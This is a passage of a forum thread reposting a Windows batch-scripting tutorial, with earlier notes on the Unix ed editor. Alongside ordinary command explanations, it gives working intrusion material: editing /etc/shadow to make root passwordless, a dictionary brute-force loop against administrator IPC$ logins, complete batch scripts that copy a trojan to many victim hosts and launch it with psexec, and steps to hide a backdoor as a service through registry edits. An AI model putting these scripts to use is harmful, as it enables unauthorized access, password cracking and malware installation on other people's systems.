l: Display the content of the replaced line including invisible characters. Using this parameter for a line with Chinese characters will display garbled characters.
p: Display the last line that was replaced.
n: Display the last line that was replaced together with the line number.
Among the above four parameters, the g command can be combined with the other three. Its function is the superposition of the two. But when the g parameter is used in combination with other parameters, g must be in front.
12. Wildcards
When in find and replace commands:
. : represents any one character
* : represents any number of the same characters
.* : represents any number of any characters
13. Escape character (\)
Make special characters lose their meaning.
14. Move several lines of text (m)
m line number 3 Enter
15. Copy several lines of text (t)
t line number 3 Enter
16. Connect two lines into one line
j Enter
17. Save disk (w)
w Enter
18. Exit (q)
q Enter
If there is no saving, it will prompt.
19. Exit without saving (Q)
Q Enter
The simplest way to use ed is:
line + command
For example
1p is to display from line 1
1d is to delete from line 1
1c is to modify from line 1
If you want to change the shadow file, you can back it up first, then ed /mnt/etc/shadow (of course, you have to mount the hard disk to the /mnt directory first)
Then
1c (modify the first line, which is the root:...... line)
root:::0:0 (make the root user passwordless)
(End input)
wq
That's it.
ex is an enhanced version of ed.

[ Last edited by zzz19760225 on 2016-7-24 at 13:02 ]
1<词>,2,3/段\,4{节},5(章)。
Floor 10 Posted 2017-08-30 23:33 ·  中国 海南 海口 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
Tianliangshuowan'an, Level 4
2010-02-05 Answer
I have many, hope it helps you
Supplementary:
I. Brief Introduction to Simple Batch Processing Internal Commands
1. Echo command
Turn on or off the request echo function, or display a message. If there are no parameters, the echo command will display the current echo setting.
Syntax:
echo
Sample: @echo off / echo hello world
In practical applications, we will combine this command with the redirection symbol (also called the pipe symbol, generally using > >> ^) to implement inputting some commands into files of a specific format. This will be reflected in subsequent examples.
2. @ command
Indicates not to display the command after @. In the process of intrusion (for example, using a batch to format the enemy's hard disk), of course, we cannot let the other party see the commands we use.

Sample: @echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (the format command cannot use the /y parameter. Fortunately, Microsoft left the autoset parameter for us, and the effect is the same as /y.)
3. Goto command
Specify to jump to the label. After finding the label, the program will process the commands starting from the next line.
Syntax: goto label (label is the parameter, specifying the line in the batch program to be turned to.)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms (If you don't understand if, %1, %2 here, skip it first, and there will be detailed explanations later.)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
The name of the label can be any, but it is best to use meaningful letters. Add : in front of the letter to indicate that this letter is a label. The goto command is to find where to jump next according to this :. It is best to have some descriptions so that others can understand your intention.
4. Rem command
Comment command, which is equivalent to /*--------*/ in C language. It will not be executed, but only plays a comment role, which is convenient for others to read and your own future modification.

Rem Message
Sample: @Rem Here is the description.
5. Pause command
When the Pause command is run, the following message will be displayed:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
In this example, all files on the disk in drive A are copied to d:\back. When the displayed comment prompts you to put another disk into drive A, the pause command will suspend the program so that you can change the disk, and then press any key to continue processing.
6. Call command
Call another batch program from a batch program, and the parent batch program will not be terminated. The call command accepts the label used as the call target. If used outside a script or batch file, Call will not work on the command line.

Syntax:
call FileName ] ]
Parameters:
FileName
Specify the location and name of the batch program to be called. The filename parameter must have the .bat or .cmd extension.
7. start command
Call an external program. All DOS commands and command-line programs can be called by the start command.
Common parameters:
MIN starts with the window minimized
SEPARATE starts a 16-bit Windows program in a separate space
HIGH starts the application in the HIGH priority category
REALTIME starts the application in the REALTIME priority category
WAIT starts the application and waits for it to end
parameters These are parameters passed to the command/program
When the executed application is a 32-bit GUI application, CMD.EXE returns to the command prompt without waiting for the application to terminate. If executed in a command script, this new behavior will not occur.

8. choice command
The choice command allows the user to enter a character to run different commands. When using it, the /c: parameter should be added. The characters that can be entered should be written after c:, with no spaces in between. Its return code is 1234......
For example: choice /c:dme defrag,mem,end
The following will be displayed
defrag,mem,end?
Sample:
The content of Sample.bat is as follows:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (The highest error code should be judged first)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
After this file is run, defrag,mem,end? will be displayed. The user can choose d m e, then the if statement will make a judgment. d means executing the program segment labeled defrag, m means executing the program segment labeled mem, e means executing the program segment labeled end. Each program segment finally uses goto end to jump the program to the end label, then the program will display good bye, and the file ends.
9. If command
if means to judge whether the specified condition is met, so as to decide to execute different commands.
There are three formats:
1)、if "parameter" == "string"  command to be executed
If the parameter is equal to the specified string, the condition is established, and the command is run, otherwise the next sentence is run. (Note that there are two equal signs)
Such as if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2)、if exist filename  command to be executed
If the specified file exists, the condition is established, and the command is run, otherwise the next sentence is run.

Such as if exist config.sys edit config.sys
3)、if errorlevel / if not errorlevel number  command to be executed
If the return code is equal to the specified number, the condition is established, and the command is run, otherwise the next sentence is run.

Such as if errorlevel 2 goto x2  

All DOS programs return a number to DOS when running, called errorlevel or return code. Common return codes are 0 and 1.
10. for command

The for command is a relatively complex command, mainly used to loop and execute commands within a specified range of parameters.
When using the FOR command in a batch file, use %%variable to specify the variable
for {%variable│%%variable} in (set) do command
%variable specifies a single letter replaceable parameter.
(set) specifies one or a group of files. Wildcards can be used.
command specifies the command to be executed for each file.
command-parameters specify parameters or command-line switches for a specific command.
When using the FOR command in a batch file, use %%variable to specify the variable
instead of %variable. Variable names are case-sensitive, so %i is different from %I
If command extensions are enabled, the following additional FOR command formats will be supported:
FOR /D %variable IN (set) DO command
If wildcards are included in the concentration, it means matching with the directory name, not with the file name.
FOR /R path] %variable IN (set) DO command
Check the directory tree rooted at path, and point to the FOR statement in each directory. If no directory is specified after /R, the current directory is used. If the set is only a single dot (.) character, the directory tree is enumerated.
FOR /L %variable IN (start,step,end) DO command
The set represents a sequence of numbers from start to end in increments.
Therefore, (1,1,5) will generate the sequence 1 2 3 4 5, and (5,-1,1) will generate
sequence (5 4 3 2 1).
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
Or, if the usebackq option is used:
FOR /F %variable IN (file-set) DO command
FOR /F %variable IN ("string") DO command
FOR /F %variable IN ('command') DO command
filenameset is one or more filenames. Before continuing to the next file in filenameset, each file has been opened, read, and processed.
Processing includes reading the file, dividing it into lines of text, and then parsing each line into zero or more symbols. Then the For loop is called with the found symbol string variable value. By default, /F separates the first blank symbol in each line of each file. Skip blank lines. You can specify the optional "options" parameter instead of the default parsing operation. This quoted string includes one or more keywords specifying different parsing options. These keywords are:
eol=c - refers to the end of a line comment character (just one)
skip=n - refers to the number of lines to be ignored at the beginning of the file.
delims=xxx - refers to the delimiter set. This replaces the default delimiter set of spaces and tabs.
tokens=x,y,m-n - refers to which symbol of each line is passed to for itself in each iteration. This will result in the format of additional variable names as a range. Specify the last character asterisk of the m symbol string through the nth symbol, then the additional variable will be assigned and accepted the reserved text of the line after the last symbol parsing.
usebackq - specifies that the new syntax has been used in the following cases:
When executing a backquoted string as a command and the quote character is a literal string command and allows file names enclosed in double quotes in file-set.
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
It will analyze each line in myfile.txt, ignore those lines starting with semicolons, and pass the second and third symbols in each line to the for program body; delimited by commas and/or spaces. Please note that the statement of this for program body refers to %i to get the second symbol, %j to get the third symbol, and %k to get all the remaining symbols after the third symbol. For file names with spaces, you need to enclose the file name in double quotes. To use double quotes in this way, you also need to use the usebackq option, otherwise, the double quotes will be understood as being used to define a string to be parsed.
%i is specifically explained in the for statement, and %j and %k are specifically explained through the tokens= option. You can specify up to 26 symbols through tokens= in one line, as long as you do not try to specify a variable higher than the letter 'z' or 'Z'. Remember that FOR variables are single letters, case-sensitive, and global; and there cannot be more than 52 in use.
You can also use the FOR /F analysis logic on adjacent strings; the method is to enclose the filenameset between parentheses with single quotes.
In this way, the string will be treated as a single input line in a file.
Finally, you can use the FOR /F command to analyze the output of the command. The method is to turn the filenameset between parentheses into a backquoted string. This string will be treated as a command line, passed to a sub CMD.EXE, and its output will be captured in memory and treated as a file analysis. Therefore, the following example:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
It will enumerate the environment variable names in the current environment.
In addition, the replacement of FOR variable references has been enhanced. You can now use the following option syntax:
~I - remove any quotes ("), expand %I
%~fI - expand %I to a fully qualified path name
%~dI - only expand %I to a drive letter
%~pI - only expand %I to a path
%~nI - only expand %I to a file name
%~xI - only expand %I to a file extension
%~sI - the expanded path only contains short names
%~aI - expand %I to the file attributes of the file
%~tI - expand %I to the date/time of the file
%~zI - expand %I to the size of the file
%~$PATH:I - find the directory listed in the path environment variable, and expand %I to the first fully qualified name found. If the environment variable is not defined, or the file is not found, this combination key will expand to an empty string
You can combine modifiers to get multiple results:
%~dpI - only expand %I to a drive letter and path
%~nxI - only expand %I to a file name and extension
%~fsI - only expand %I to a complete path name with a short name
%~dp$PATH:i - find the directory listed in the path environment variable, and expand %I to the first drive letter and path found.
%~ftzaI - expand %I to a DIR-like output line
In the above example, %I and PATH can be replaced with other valid values. The %~ syntax is terminated with a valid FOR variable name. Choosing an uppercase variable name like %I is easy to read and avoids confusion with case-insensitive combination keys.
The above is the official help from MS. Below we give a few examples to specifically illustrate the use of the For command in intrusion.
sample2:
Use the For command to implement brute-force password cracking on a target Win2k host.

We use net use \\ip\ipc$ "password" /u:"administrator" to try to connect with the target host. When it is successful, record the password.
The main command is a line: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
Use i% to represent the password of admin. In dict.txt, the value of i% is taken to connect with the net use command. Then the running result of the program is passed to the find command -
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":The command completed successfully">>D:\ok.txt, and then it's done.
sample3:
Do you ever have a large number of zombies waiting for you to plant backdoors + trojans? When the number is particularly large, what was originally a happy thing will become very depressed:) The article mentioned at the beginning that using batch files can simplify daily or repetitive tasks. So how to achieve it? Hehe, you will understand when you read on.
The main command is also only one line: (when using the FOR command in a batch file, specify the variable using %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
For the usage of tokens, please refer to sample1 above. Here it means to pass the content in victim.txt to the parameters %i %j %k in door.bat in sequence.
And cultivate.bat is nothing more than using the net use command to establish an IPC$ connection, and copy the trojan + backdoor to the victim, then use the return code (If errorlever =) to screen the host that successfully plants the backdoor, and echo it out, or echo it to a specified file.
delims= means that the content in vivtim.txt is separated by a space. I think you must understand what the content in this victim.txt is like when you see here. It should be arranged according to the objects represented by %%i %%j %%k. Generally, it is ip password username.

Code outline:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------
------

------------------- cut here then save as a batchfile(I call it door.bat) ------------------
-----------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------
------------
This is just a prototype of an automatic backdoor planting batch. The two batch files, the backdoor program (Windrv32.exe), and PSexec.exe need to be placed in the same directory. The batch content
can also be expanded, for example: add functions to clear logs + DDOS, add functions to add users regularly, and go deeper to make it have automatic propagation functions (worms). I won't go into details here. Interested friends can study it by themselves.

II. How to Use Parameters in Batch Files
Parameters can be used in batch processing. Generally, there are nine parameters from 1% to 9%. When there are multiple parameters, shift is needed to move, which is not common, so we don't consider it.

sample1: fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat It can't be written down, sent in several batches!!!
Supplementary:
This example is used to continuously format several floppy disks, so when using it, you need to enter fomat.bat a in the dos window. Hehe, it seems a bit superfluous~
sample2:
When we always need to enter a long string of commands to establish an IPC$ connection, and it is easy to make mistakes, so we might as well write some fixed commands into a batch, and use the ip password username of the zombie as parameters to assign to this batch, so that we don't need to type the commands every time.
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" Note that here PASSWORD is the second parameter.
@if errorlevel 1 echo connection failed
How about it, using parameters is still relatively simple? You must have learned it. No.3

III. How to Use Compound Commands (Compound Command)
1. &
Usage: First command & Second command
Use this method to execute multiple commands at the same time, regardless of whether the command is executed successfully
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage: First command && Second command
Use this method to execute multiple commands at the same time. When encountering a command that fails to execute, the subsequent commands will not be executed. If there is no error, all commands will be executed all the time;
Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.
C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
This command may be used more simply when doing backups, such as:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:\backup
If the backup.mdb file exists on the remote server, the copy command will be executed. If the file does not exist, the copy command will not be executed. This usage can replace IF exist.
3.││
Usage: First command ││ Second command
Use this method to execute multiple commands at the same time. When encountering a command that executes correctly, the subsequent commands will not be executed. If no correct command appears, all commands will be executed all the time;
Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
Example of combined command use:

sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt

IV. Use of Pipe Commands
1. │ command
Usage: First command │ Second command
Use the result of the first command as the parameter of the second command. Remember that this method is very common in unix.
sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
Can you see it? It is used for terminal services to allow us to customize the starting program for the user to implement letting the user run the following bat to obtain the IP of the logged-in user.
2. >, >> output redirection command
Redirect the output result of a command or a certain program to a specific file. The difference between > and >> is that > will clear the content in the original file and then write to the specified file, while >> will only append content to the specified file without changing the content in it.
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
Nowadays, DLL trojans are popular. We know that system32 is a good place to hide. Many trojans are sharpening their heads to get in there, and DLL horses are no exception. In response to this point, we can record the EXE and DLL files in this directory after installing the system and necessary applications:
Run CMD--switch the directory to system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
In this way, the names of all EXE and DLL files are recorded in exeback.txt and dllback.txt respectively,
In the future, if there is an abnormality but no problem is found by traditional methods, it is necessary to consider whether a DLL trojan has entered the system.
At this time, we use the same command to record the EXE and DLL files in system32 into exeback1.txt and dllback1.txt, and then run:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt. (Use the FC command to compare the DLL and EXE files of the previous two times, and input the result into diff.txt), so that we can find some extra DLL and EXE files,
Then, by checking the creation time, version, whether it is compressed, etc., it is easier to judge whether it has been visited by a DLL trojan. It is best if there is none. If there is, don't directly DEL it. First use regsvr32 /u trojan.dll to unregister the backdoor DLL file, then move it to the recycle bin. If there is no abnormal reflection in the system, then delete it completely or submit it to the antivirus software company.
3. < 、>& 、<&
< reads the command input from the file instead of from the keyboard.
>& writes the output of one handle to the input of another handle.
<& reads input from one handle and writes it to the output of another handle.
These are not commonly used, so I won't introduce them more.
V. How to Use Batch Files to Operate the Registry
In the process of intrusion, we often operate the specific key values of the registry to achieve certain purposes. For example, to hide the residual key values of the backdoor and trojan program, or to create a service to load the backdoor. Of course, we will also modify the registry to strengthen the system or change a certain attribute of the system. These all require us to have a certain understanding of registry operations. Below we first learn how to use the .REG file to operate the registry. (We can use a batch to generate a REG file)
Regarding the operation of the registry, the common ones are creation, modification, and deletion.
1. Creation
Creation is divided into two types, one is to create a subkey (Subkey)
We create a file with the following content:
Windows Registry Editor Version 5.00

Then execute this script, and you have created a subkey named "hacker" under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.
The other is to create a project name
Then this file format is a typical file format, consistent with the file format you export from the registry, and the content is as follows:
Windows Registry Editor Version 5.00

"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
In this way, three projects: Invader, door, about are newly created under
The type of Invader is "String value"
The type of door is "REG SZ value"
The type of Autodos is "DWORD value"
2. Modification
Modification is relatively simple. Just export the project you need to modify, then modify it with Notepad, and then import it (regedit /s).
3. Deletion
Let's first talk about deleting a project name. We create a file as follows:
Windows Registry Editor Version 5.00

"Ex4rch"=-
Execute this script, and "Ex4rch" under is deleted;
Let's take a look at deleting a subkey. We create a script as follows:
Windows Registry Editor Version 5.00

Execute this script, and has been deleted.
I believe you have basically mastered the .reg file when you see here. Then the current goal is to use a batch to create a .reg file with specific content. Remember that we mentioned earlier that the redirection symbol can be used to easily create files of a specific type.
samlpe1: For example, the above example. If you want to generate the following registry file
Windows Registry Editor Version 5.00

"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
You only need to do this:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo >Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
When we are using some relatively old trojans, we may generate a key value under the registry
to realize the self-start of the trojan. But this is very easy to expose the path of the trojan program, thus leading to the trojan being killed. Relatively speaking, if the trojan program is registered as a system service, it is relatively safe. Take the configured IRC trojan DSNX as an example (named windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM
@REM This is safer.

VI. Wonderful Example Release.
1. Batch to delete the default shares of win2k/xp system
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg

http://wenwen.sogou.com/z/q178444210.htm
1<词>,2,3/段\,4{节},5(章)。
Floor 11 Posted 2017-08-31 18:12 ·  中国 海南 海口 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
1<词>,2,3/段\,4{节},5(章)。
Floor 12 Posted 2017-08-31 18:12 ·  中国 海南 海口 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
1<词>,2,3/段\,4{节},5(章)。
Floor 13 Posted 2017-08-31 18:12 ·  中国 海南 海口 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
1<词>,2,3/段\,4{节},5(章)。
Floor 14 Posted 2017-08-31 18:12 ·  中国 海南 海口 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
1<词>,2,3/段\,4{节},5(章)。
Floor 15 Posted 2017-08-31 18:12 ·  中国 海南 海口 电信
超级版主
★★★★
Credits 3,673
Posts 2,020
Joined 2016-02-01 00:00
10-year member
UID 181465
Gender Male
Status Offline
1<词>,2,3/段\,4{节},5(章)。
1 2 3 9 Next ›
Forum Jump: